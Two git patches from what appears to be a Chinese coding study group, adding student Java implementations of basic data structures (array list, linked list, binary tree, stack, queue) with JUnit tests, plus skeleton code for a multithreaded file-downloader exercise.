From 49c1e7837fcc496b1edc0aa93f6aeace622e6c5d Mon Sep 17 00:00:00 2001
From: Pickacat <ken1992149@163.com>
Date: Sun, 12 Mar 2017 18:04:44 +0800
Subject: [PATCH 001/262] =?UTF-8?q?=E5=AE=9E=E7=8E=B0=E5=9F=BA=E6=9C=AC?=
 =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84=EF=BC=8C=E8=BF=AD=E4=BB=A3?=
 =?UTF-8?q?=E5=99=A8=E8=BF=98=E6=B2=A1=E5=81=9A=E3=80=82?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/xiaol/study/ArrayList.java        |  94 +++++++
 .../src/com/xiaol/study/ArrayListTest.java    |  82 ++++++
 .../src/com/xiaol/study/BinaryTreeNode.java   |  59 +++++
 .../com/xiaol/study/BinaryTreeNodeTest.java   |  82 ++++++
 .../src/com/xiaol/study/Iterator.java         |  12 +
 .../src/com/xiaol/study/LinkedList.java       | 237 ++++++++++++++++++
 .../src/com/xiaol/study/LinkedListTest.java   | 131 ++++++++++
 .../src/com/xiaol/study/List.java             |  13 +
 .../src/com/xiaol/study/Queue.java            |  41 +++
 .../src/com/xiaol/study/QueueTest.java        |  64 +++++
 .../src/com/xiaol/study/Stack.java            |  49 ++++
 .../src/com/xiaol/study/StackTest.java        |  68 +++++
 12 files changed, 932 insertions(+)
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/ArrayList.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/ArrayListTest.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNode.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNodeTest.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/Iterator.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/LinkedListTest.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/List.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/Queue.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/QueueTest.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/Stack.java
 create mode 100644 group23/381519422/DataStructure/src/com/xiaol/study/StackTest.java

diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/ArrayList.java b/group23/381519422/DataStructure/src/com/xiaol/study/ArrayList.java
new file mode 100644
index 0000000000..53fec62e67
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/ArrayList.java
@@ -0,0 +1,94 @@
+package com.xiaol.study;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月4日 下午11:03:26
+ */
+public class ArrayList implements List {
+
+	// 记录有多少元素
+	private int size = 0;
+
+	// 存放元素的数组
+	private Object[] elementData = new Object[10];
+
+	// 添加元素
+	public void add(Object o) {
+		checkSizeAndGrow();
+		elementData[size++] = o;
+	}
+
+	// 检查数组容量大小，不足就扩容
+	private void checkSizeAndGrow() {
+		if (size >= elementData.length) {
+			Object[] oldData = elementData;
+			elementData = new Object[size * 2];
+			System.arraycopy(oldData, 0, elementData, 0, size);
+		}
+	}
+
+	// 在指定位置添加元素
+	public void add(int index, Object o) {
+		checkIndex(index);
+		checkSizeAndGrow();
+		// 把index位置的元素往后移一位
+		System.arraycopy(elementData, index, elementData, index + 1, size - index);
+		elementData[index] = o;
+		size++;
+	}
+
+	// 检查插入元素的位置是否非法
+	private void checkIndex(int index) {
+		if (index < 0 || index > size) {
+			throw new RuntimeException("参数非法");
+		}
+	}
+
+	// 获取指定位置元素
+	public Object get(int index) {
+		checkIndex(index);
+		return elementData[index];
+	}
+
+	// 移除指定位置元素
+	public Object remove(int index) {
+		checkIndex(index);
+		Object returnVal = elementData[index];
+		System.arraycopy(elementData, index + 1, elementData, index, size - index - 1);
+		size--;
+		return returnVal;
+	}
+
+	// 获取ArrayList元素数量
+	public int size() {
+		return size;
+	}
+
+	// 获取迭代器
+	public Iterator iterator() {
+		return new ArrayListIterator();
+	}
+
+	// 尽量实现迭代器
+	private class ArrayListIterator implements Iterator {
+
+		ArrayList list = null;
+
+		@Override
+		public boolean hasNext() {
+
+			return false;
+		}
+
+		@Override
+		public Object next() {
+			return null;
+		}
+
+		public Object remove() {
+			return null;
+		}
+
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/ArrayListTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/ArrayListTest.java
new file mode 100644
index 0000000000..fc54a78e47
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/ArrayListTest.java
@@ -0,0 +1,82 @@
+package com.xiaol.study;
+
+import static org.junit.Assert.assertEquals;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ArrayListTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddObject() {
+		ArrayList list = new ArrayList();
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		list.add("e");
+		list.add("f");
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		assertEquals(12, list.size());
+	}
+
+	@Test
+	public void testAddIntObject() {
+		ArrayList list = new ArrayList();
+		list.add(1);
+		list.add(2);
+		list.add(0, 3);
+		assertEquals(3, list.get(0));
+		assertEquals(1, list.get(1));
+		assertEquals(2, list.get(2));
+		assertEquals(3, list.size());
+	}
+
+	@Test
+	public void testGet() {
+		ArrayList list = new ArrayList();
+		list.add(1);
+		list.add(2);
+		list.add(0, 3);
+		assertEquals(3, list.get(0));
+		assertEquals(1, list.get(1));
+		assertEquals(2, list.get(2));
+		assertEquals(3, list.size());
+	}
+
+	@Test
+	public void testRemove() {
+		ArrayList list = new ArrayList();
+		list.add(1);
+		list.add(2);
+		list.add(0, 3);
+		assertEquals(3, list.remove(0));
+		assertEquals(1, list.remove(0));
+		assertEquals(2, list.remove(0));
+		assertEquals(0, list.size());
+	}
+
+	@Test
+	public void testSize() {
+		ArrayList list = new ArrayList();
+		list.add(1);
+		list.add(2);
+		list.add(0, 3);
+		assertEquals(3, list.size());
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNode.java b/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNode.java
new file mode 100644
index 0000000000..7572a945df
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNode.java
@@ -0,0 +1,59 @@
+package com.xiaol.study;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月5日 上午12:57:18
+ */
+public class BinaryTreeNode {
+	// 要求，左节点比父节点小，右节点比父节点大
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+
+	public BinaryTreeNode insert(Object o) {
+		// 当前没有数据就放入当前节点
+		if (data == null) {
+			this.data = o;
+		} else if ((int) data >= (int) o) {// 放入左节点
+			if (left == null) {
+				left = new BinaryTreeNode();
+				left.setData(o);
+			} else {
+				left.insert(o);
+			}
+		} else if ((int) data < (int) o) {// 放入右节点
+			if (right == null) {
+				right = new BinaryTreeNode();
+				right.setData(o);
+			} else {
+				right.insert(o);
+			}
+		}
+		return this;
+	}
+
+	public Object getData() {
+		return data;
+	}
+
+	public void setData(Object data) {
+		this.data = data;
+	}
+
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNodeTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNodeTest.java
new file mode 100644
index 0000000000..7e028ac8a5
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNodeTest.java
@@ -0,0 +1,82 @@
+package com.xiaol.study;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class BinaryTreeNodeTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testInsert() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		btn.insert(2);
+		btn.insert(0);
+		btn.insert(3);
+		assertEquals(0, btn.getLeft().getData());
+		assertEquals(1, btn.getData());
+		assertEquals(2, btn.getRight().getData());
+		assertEquals(3, btn.getRight().getRight().getData());
+	}
+
+	@Test
+	public void testGetData() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		assertEquals(1, btn.getData());
+	}
+
+	@Test
+	public void testSetData() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.setData(1);
+		assertEquals(1, btn.getData());
+	}
+
+	@Test
+	public void testGetLeft() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		btn.insert(0);
+		assertEquals(0, btn.getLeft().getData());
+	}
+
+	@Test
+	public void testSetLeft() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		BinaryTreeNode left = new BinaryTreeNode();
+		left.setData(2);
+		btn.setLeft(left);
+		assertEquals(2, btn.getLeft().getData());
+	}
+
+	@Test
+	public void testGetRight() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		btn.insert(2);
+		assertEquals(2, btn.getRight().getData());
+	}
+
+	@Test
+	public void testSetRight() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		BinaryTreeNode right = new BinaryTreeNode();
+		right.setData(2);
+		btn.setRight(right);
+		assertEquals(2, btn.getRight().getData());
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/Iterator.java b/group23/381519422/DataStructure/src/com/xiaol/study/Iterator.java
new file mode 100644
index 0000000000..3f9192d422
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/Iterator.java
@@ -0,0 +1,12 @@
+package com.xiaol.study;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月5日 上午1:12:05
+ */
+public interface Iterator {
+
+	public boolean hasNext();
+
+	public Object next();
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java
new file mode 100644
index 0000000000..d60ede59a1
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java
@@ -0,0 +1,237 @@
+package com.xiaol.study;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月5日 上午12:30:18
+ */
+public class LinkedList implements List {
+
+	// 头指针
+	private Node head;
+
+	// 最后一个节点
+	private Node lastNode;
+
+	// 链表长度
+	private int size;
+
+	// 添加元素到最后一个节点
+	public void add(Object o) {
+		if (null == head) {
+			head = new Node(o);
+			head.next = null;
+			lastNode = head;
+			size++;
+		} else {
+			lastNode.next = new Node(o);
+			lastNode = getLastNode();
+			size++;
+		}
+	}
+
+	// 获取最后一个节点
+	private Node getLastNode() {
+		Node last = head;
+		while (last.next != null) {
+			last = last.next;
+		}
+		return last;
+	}
+
+	// 获取指定位置的Node
+	private Node getIndexNode(int index) {
+		Node node = head;
+		for (int i = 0; i < index; i++) {
+			node = node.next;
+		}
+		return node;
+	}
+
+	// 添加元素到指定位置
+	public void add(int index, Object o) {
+		checkIndex(index);
+		if (index == 0) {
+			// 将head暂存为headNext
+			Node headNext = head;
+			// 创建新的head
+			Node newHead = new Node(o);
+			head = newHead;
+			head.next = headNext;
+		} else {
+			// 获取第index-1个位置的Node
+			Node node = getIndexNode(index - 1);
+			// 暂存index位置的Node
+			Node nodeNext = node.next;
+			// 向index位置插入数据
+			node.next = new Node(o);
+			node.next.next = nodeNext;
+		}
+		size++;
+	}
+
+	// 获取指定位置元素
+	public Object get(int index) {
+		checkIndex(index);
+		Node node = head;
+		for (int i = 0; i < index; i++) {
+			node = node.next;
+		}
+		return node.data;
+	}
+
+	private void checkIndex(int index) {
+		if (index < 0 || index > size) {
+			throw new RuntimeException("非法参数");
+		}
+	}
+
+	// 移除指定位置元素
+	public Object remove(int index) {
+		checkIndex(index);
+		Object data = null;
+		if (index == 0) {
+			// 新的head
+			Node newHead = head.next;
+			// 获取移除元素
+			data = head.data;
+			// 将newHead设为head
+			head = newHead;
+		} else {
+			// 获取第index-1个位置的Node
+			Node node = getIndexNode(index - 1);
+			// 获取返回的元素
+			data = node.next.data;
+			// 将index位置从链表删除
+			node.next = node.next.next;
+		}
+		size--;
+		return data;
+	}
+
+	// 获取链表长度
+	public int size() {
+		return size;
+	}
+
+	// 添加元素到第一个节点
+	public void addFirst(Object o) {
+		add(0, o);
+	}
+
+	public void addLast(Object o) {
+		Node lastNode = getLastNode();
+		lastNode.next = new Node(o);
+		size++;
+	}
+
+	// 移除第一个元素
+	public Object removeFirst() {
+		return remove(0);
+	}
+
+	// 移除最后一个元素
+	public Object removeLast() {
+		Node lastNode = getLastNode();
+		Object data = lastNode.data;
+		lastNode = null;
+		size--;
+		return data;
+	}
+
+	public Iterator iterator() {
+		return null;
+	}
+
+	// 用于存储数据的节点
+	private static class Node {
+		Object data;
+		Node next;
+
+		// 无参构造
+		private Node() {
+
+		}
+
+		// 有参构造
+		private Node(Object o) {
+			this.data = o;
+		}
+	}
+	
+	//---------------下面的方法暂时先不实现
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/LinkedListTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedListTest.java
new file mode 100644
index 0000000000..f6399c1a1a
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedListTest.java
@@ -0,0 +1,131 @@
+package com.xiaol.study;
+
+import static org.junit.Assert.assertEquals;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class LinkedListTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddObject() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(3, ll.get(2));
+	}
+
+	@Test
+	public void testAddIntObject() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.add(3, 0);
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(3, ll.get(2));
+		assertEquals(0, ll.get(3));
+		assertEquals(4, ll.size());
+	}
+
+	@Test
+	public void testGet() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.add(3, 0);
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(3, ll.get(2));
+		assertEquals(0, ll.get(3));
+		assertEquals(4, ll.size());
+	}
+
+	@Test
+	public void testRemove() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.add(0, 0);
+		ll.remove(0);
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(3, ll.get(2));
+	}
+
+	@Test
+	public void testSize() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.add(0, 0);
+		assertEquals(4, ll.size());
+	}
+
+	@Test
+	public void testAddFirst() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.addFirst(001);
+		ll.addFirst(002);
+		assertEquals(002, ll.get(0));
+		assertEquals(001, ll.get(1));
+		assertEquals(1, ll.get(2));
+		assertEquals(2, ll.get(3));
+	}
+
+	@Test
+	public void testAddLast() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.addLast(001);
+		ll.addLast(002);
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(001, ll.get(2));
+		assertEquals(002, ll.get(3));
+	}
+
+	@Test
+	public void testRemoveFirst() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.removeFirst();
+		ll.removeFirst();
+		assertEquals(3, ll.get(0));
+		assertEquals(1, ll.size());
+	}
+
+	@Test
+	public void testRemoveLast() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.removeLast();
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(2, ll.size());
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/List.java b/group23/381519422/DataStructure/src/com/xiaol/study/List.java
new file mode 100644
index 0000000000..870635c7bb
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/List.java
@@ -0,0 +1,13 @@
+package com.xiaol.study;
+
+public interface List {
+	public void add(Object o);
+
+	public void add(int index, Object o);
+
+	public Object get(int index);
+
+	public Object remove(int index);
+
+	public int size();
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/Queue.java b/group23/381519422/DataStructure/src/com/xiaol/study/Queue.java
new file mode 100644
index 0000000000..6a18fe5c4e
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/Queue.java
@@ -0,0 +1,41 @@
+package com.xiaol.study;
+
+import java.util.LinkedList;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月5日 上午12:51:34
+ */
+public class Queue {
+
+	// 队列
+	private LinkedList elementData = new LinkedList();
+	// 队列长度
+	private int size;
+
+	// 添加元素到队列尾
+	public void enQueue(Object o) {
+		elementData.add(o);
+		size++;
+	}
+
+	// 移除队列头的元素
+	public Object deQueue() {
+		Object data = elementData.removeLast();
+		size--;
+		return data;
+	}
+
+	// 队列是否为空
+	public boolean isEmpty() {
+		if (size == 0) {
+			return true;
+		}
+		return false;
+	}
+
+	// 队列长度
+	public int size() {
+		return size;
+	}
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/QueueTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/QueueTest.java
new file mode 100644
index 0000000000..a89e8840ce
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/QueueTest.java
@@ -0,0 +1,64 @@
+package com.xiaol.study;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class QueueTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEnQueue() {
+		Queue q = new Queue();
+		assertEquals(0, q.size());
+		q.enQueue(1);
+		q.enQueue(2);
+		assertEquals(2, q.size());
+	}
+
+	@Test
+	public void testDeQueue() {
+		Queue q = new Queue();
+		assertEquals(0, q.size());
+		q.enQueue(1);
+		q.enQueue(2);
+		assertEquals(2, q.size());
+		q.deQueue();
+		q.deQueue();
+		assertEquals(0, q.size());
+	}
+
+	@Test
+	public void testIsEmpty() {
+		Queue q = new Queue();
+		assertEquals(true, q.isEmpty());
+		q.enQueue(1);
+		q.enQueue(2);
+		assertEquals(false, q.isEmpty());
+		q.deQueue();
+		q.deQueue();
+		assertEquals(true, q.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		Queue q = new Queue();
+		assertEquals(0, q.size());
+		q.enQueue(1);
+		q.enQueue(2);
+		assertEquals(2, q.size());
+		q.deQueue();
+		q.deQueue();
+		assertEquals(0, q.size());
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/Stack.java b/group23/381519422/DataStructure/src/com/xiaol/study/Stack.java
new file mode 100644
index 0000000000..6e1eaf2cf8
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/Stack.java
@@ -0,0 +1,49 @@
+package com.xiaol.study;
+
+import java.util.ArrayList;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月5日 上午12:47:15
+ */
+public class Stack {
+	// 存数据的List
+	private ArrayList elementData = new ArrayList();
+
+	// 栈元素数量
+	private int size;
+
+	// 压栈
+	public void push(Object o) {
+		elementData.add(o);
+		size++;
+	}
+
+	// 弹出栈顶元素
+	public Object pop() {
+		if (size == 0) {
+			throw new RuntimeException("Stack is Empty");
+		}
+		Object data = elementData.remove(size - 1);
+		size--;
+		return data;
+	}
+
+	// 获取栈顶元素
+	public Object peek() {
+		return elementData.get(size - 1);
+	}
+
+	// 是否为空
+	public boolean isEmpty() {
+		if (size == 0) {
+			return true;
+		}
+		return false;
+	}
+
+	// 栈大小
+	public int size() {
+		return size;
+	}
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/StackTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/StackTest.java
new file mode 100644
index 0000000000..90eae7470d
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/StackTest.java
@@ -0,0 +1,68 @@
+package com.xiaol.study;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class StackTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testPush() {
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		assertEquals(3, s.size());
+	}
+
+	@Test
+	public void testPop() {
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		assertEquals(3, s.pop());
+		assertEquals(2, s.pop());
+		assertEquals(1, s.pop());
+		assertEquals(0, s.size());
+	}
+
+	@Test
+	public void testPeek() {
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		assertEquals(3, s.peek());
+	}
+
+	@Test
+	public void testIsEmpty() {
+		Stack s = new Stack();
+		assertEquals(true, s.isEmpty());
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		assertEquals(false, s.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		assertEquals(3, s.size());
+	}
+
+}

From b3f08719cb9f97d20fa922dffe14816c0c7aa4ef Mon Sep 17 00:00:00 2001
From: tanghaojie <thj_3360016@qq.com>
Date: Wed, 15 Mar 2017 21:06:48 +0800
Subject: [PATCH 002/262] week3

---
 .../Code/src/week3/DownloadThread.java        | 20 ++++++
 .../Code/src/week3/FileDownloader.java        | 72 +++++++++++++++++++
 .../Code/src/week3/FileDownloaderTest.java    | 61 ++++++++++++++++
 .../Code/src/week3/api/Connection.java        | 23 ++++++
 .../src/week3/api/ConnectionException.java    |  5 ++
 .../Code/src/week3/api/ConnectionManager.java | 10 +++
 .../Code/src/week3/api/DownloadListener.java  |  5 ++
 .../Code/src/week3/impl/ConnectionImpl.java   | 26 +++++++
 .../src/week3/impl/ConnectionManagerImpl.java | 18 +++++
 9 files changed, 240 insertions(+)
 create mode 100644 group12/495473393/Code/src/week3/DownloadThread.java
 create mode 100644 group12/495473393/Code/src/week3/FileDownloader.java
 create mode 100644 group12/495473393/Code/src/week3/FileDownloaderTest.java
 create mode 100644 group12/495473393/Code/src/week3/api/Connection.java
 create mode 100644 group12/495473393/Code/src/week3/api/ConnectionException.java
 create mode 100644 group12/495473393/Code/src/week3/api/ConnectionManager.java
 create mode 100644 group12/495473393/Code/src/week3/api/DownloadListener.java
 create mode 100644 group12/495473393/Code/src/week3/impl/ConnectionImpl.java
 create mode 100644 group12/495473393/Code/src/week3/impl/ConnectionManagerImpl.java

diff --git a/group12/495473393/Code/src/week3/DownloadThread.java b/group12/495473393/Code/src/week3/DownloadThread.java
new file mode 100644
index 0000000000..53d7ed3101
--- /dev/null
+++ b/group12/495473393/Code/src/week3/DownloadThread.java
@@ -0,0 +1,20 @@
+package week3;
+
+import week3.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
diff --git a/group12/495473393/Code/src/week3/FileDownloader.java b/group12/495473393/Code/src/week3/FileDownloader.java
new file mode 100644
index 0000000000..7a6b104245
--- /dev/null
+++ b/group12/495473393/Code/src/week3/FileDownloader.java
@@ -0,0 +1,72 @@
+package week3;
+
+import week3.api.Connection;
+import week3.api.ConnectionException;
+import week3.api.ConnectionManager;
+import week3.api.DownloadListener;
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group12/495473393/Code/src/week3/FileDownloaderTest.java b/group12/495473393/Code/src/week3/FileDownloaderTest.java
new file mode 100644
index 0000000000..b6ddb18069
--- /dev/null
+++ b/group12/495473393/Code/src/week3/FileDownloaderTest.java
@@ -0,0 +1,61 @@
+package week3;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import week3.api.ConnectionManager;
+import week3.api.DownloadListener;
+import week3.impl.ConnectionManagerImpl;
+
+
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
